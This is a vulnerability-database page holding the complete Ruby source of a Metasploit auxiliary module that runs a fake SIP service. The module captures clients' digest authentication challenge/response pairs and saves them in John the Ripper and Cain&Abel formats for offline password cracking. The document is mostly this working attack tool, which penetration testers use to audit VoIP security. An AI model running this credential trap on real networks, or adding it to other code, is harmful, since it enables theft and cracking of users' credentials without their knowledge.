Lucene search
K

Authentication Capture: SIP

🗓️ 18 Jul 2012 18:45:08Reported by Patrik Karlsson <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 20 Views

This module provides a fake SIP service designed to capture authentication credentials. It captures challenge and response pairs for cracking

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/socket'

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'           => 'Authentication Capture: SIP',
      'Description'    => %q{
        This module provides a fake SIP service that is designed to
        capture authentication credentials. It captures	challenge and
        response pairs that can be supplied to Cain or JtR for cracking.
      },
      'Author'         => 'Patrik Karlsson <patrik[at]cqure.net>',
      'License'        => MSF_LICENSE,
      'Actions'        => [[ 'Capture', 'Description' => 'Run SIP capture server' ]],
      'PassiveActions' => [ 'Capture' ],
      'DefaultAction'  => 'Capture'
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5060 ]),
        OptAddress.new('SRVHOST',   [ true, "The local host to listen on.", '0.0.0.0' ]),
        OptString.new('NONCE', [ true, "The server byte nonce", "1234" ]),
        OptString.new('JOHNPWFILE',  [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
        OptString.new('CAINPWFILE',  [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
      ])
    register_advanced_options(
      [
        OptString.new("SRVVERSION", [ true, "The server version to report in the greeting response", "ser (3.3.0-pre1 (i386/linux))" ]),
        OptString.new('REALM', [false, "The SIP realm to which clients authenticate", nil ]),
      ])
  end

  def sip_parse_authorization(data)
    kvps = {}
    kvps['scheme'] = data.slice!(0, data.index(' '))
    data.split(/,\s?/).each do | item |
      tokens = item.scan(/^\s?([^=]*)=\"?(.*?)\"?$/)[0]
      kvps[tokens[0]] = tokens[1]
    end
    kvps
  end

  def sip_parse_request(data)
    response = {
      :headers_raw => [],
      :headers => {},
      :uri => nil,
      :method => nil,
      :protocol => nil
    }
    status = data.slice!(0, data.index(/\r?\n/)+1).split(/\s/)
    response[:method] = status[0]
    response[:uri] = status[1]
    response[:protocol] = status[2]

    while data.index(/\r?\n/)
      header = (data.slice!(0, data.index(/\r?\n/)+1)).chomp
      response[:headers_raw] << header
      key, val = header.split(/:\s*/, 2)
      response[:headers][key] = val
    end
    response
  end

  def sip_send_error_message(request, code, msg)
    ip = @requestor[:ip]
    port = @requestor[:port]
    tag = (0...8).map{65.+(rand(25)).chr}.join
    nonce = datastore['NONCE']
    realm = datastore['REALM'] ? datastore['REALM'] : sip_sanitize_address(ip)
    auth = []

    auth << "SIP/2.0 #{code} #{msg}"
    auth << ("Via: #{request[:headers]['Via']};received=#{ip}").gsub("rport", "rport=#{port}")
    auth << "From: #{request[:headers]['From']}"
    auth << "To: #{request[:headers]['To']};tag=#{tag}"
    auth << "Call-ID: #{request[:headers]['Call-ID']}"
    auth << "CSeq: #{request[:headers]['CSeq']}"
    auth << "Expires: 600"
    auth << "Min-Expires: 240"
    auth << "WWW-Authenticate: Digest realm=\"#{realm}\", nonce=\"#{nonce}\""
    auth << "Server: #{datastore['SRVVERSION']}"
    auth << "Content-Length: 0"
    auth << ""

    @sock.sendto(auth.join("\r\n") << "\r\n", @requestor[:ip].to_s, @requestor[:port])
  end

  # removes any leading ipv6 stuff, such as ::ffff: as it breaks JtR
  def sip_sanitize_address(addr)
    if ( addr =~ /:/ )
      return addr.scan(/.*:(.*)/)[0][0]
    end
    return addr
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def run
    begin
      @port = datastore['SRVPORT'].to_i
      @sock = Rex::Socket::Udp.create(
            'LocalHost' => datastore['SRVHOST'],
            'LocalPort' => @port,
            'Context'   => {'Msf' => framework, 'MsfExploit' => self} )
      @run = true
      server_ip = sip_sanitize_address(datastore['SRVHOST'])

      while @run
        res = @sock.recvfrom()
        @requestor = {
          :ip => res[1],
          :port => res[2]
        }
        client_ip = sip_sanitize_address(res[1])
        next if not res[0] or res[0].empty?
        request = sip_parse_request(res[0])
        method = request[:method]

        case method
        when "REGISTER"
          authorization = ( request[:headers]['Authorization'] ? request[:headers]['Authorization'] : request[:headers]['Proxy-Authorization'] )
          if authorization
            if ( request[:uri] =~ /^sip:.*?:\d+/ )
              # current versions of the JtR plugin will fail cracking SIP uri:s containing a port; eg. sip:1.2.3.4:5060
              print_status("URI with port detected in authorization SIP request, JtR may fail to crack the response")
            end

            auth_tokens = sip_parse_authorization(authorization)
            response = ( auth_tokens['response'] ? auth_tokens['response'] : "" )
            algorithm= ( auth_tokens['algorithm'] ? auth_tokens['algorithm'] : "MD5" )
            username = auth_tokens['username']
            proof = "client: #{client_ip}; username: #{username}; nonce: #{datastore['NONCE']}; response: #{response}; algorithm: #{algorithm}"
            print_good("SIP LOGIN: #{proof}")

            report_cred(
              ip: @requestor[:ip],
              port: @requestor[:port],
              service_name: 'sip_client',
              user: username,
              password: response + ":" + auth_tokens['nonce'] + ":" + algorithm,
              proof: proof
            )

            if datastore['JOHNPWFILE']
              resp = []
              resp << "$sip$"
              resp << server_ip
              resp << client_ip
              resp << username
              resp << auth_tokens['realm']
              resp << method
              resp << "sip"
              resp << request[:uri].scan(/^.*?:(.*)$/)
              resp << auth_tokens['nonce']
              resp << ( auth_tokens['cnonce'] ? auth_tokens['cnonce'] : "" )
              resp << ( auth_tokens['nc'] ? auth_tokens['nc'] : "" )
              resp << ( auth_tokens['qop'] ? auth_tokens['qop'] : "" )
              resp << algorithm
              resp << response

              fd = File.open(datastore['JOHNPWFILE'] + '_sip' , "ab")
              fd.puts(username + ":" + resp.join("*"))
              fd.close
            end

            if datastore['CAINPWFILE']
              resp = []
              resp << auth_tokens['realm']
              resp << auth_tokens['username']
              resp << ""
              resp << request[:uri]
              resp << auth_tokens['nonce']
              resp << response
              resp << method
              resp << algorithm

              fd = File.open(datastore['CAINPWFILE'], "ab")
              fd.puts resp.join("\t") + "\r\n"
              fd.close
            end

            sip_send_error_message(request, 401, "Unauthorized")
          else
            sip_send_error_message(request, 401, "Unauthorized")
          end
        when "ACK"
          # do nothing
        else
          print_error("Unhandled method: #{request[:method]}")
          sip_send_error_message(request, 401, "Unauthorized")
        end
      end

    rescue ::Interrupt
      raise $!
    rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
      nil
    rescue ::Exception => e
      print_error("Unknown error: #{e.class} #{e.backtrace}")
    ensure
      @sock.close
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation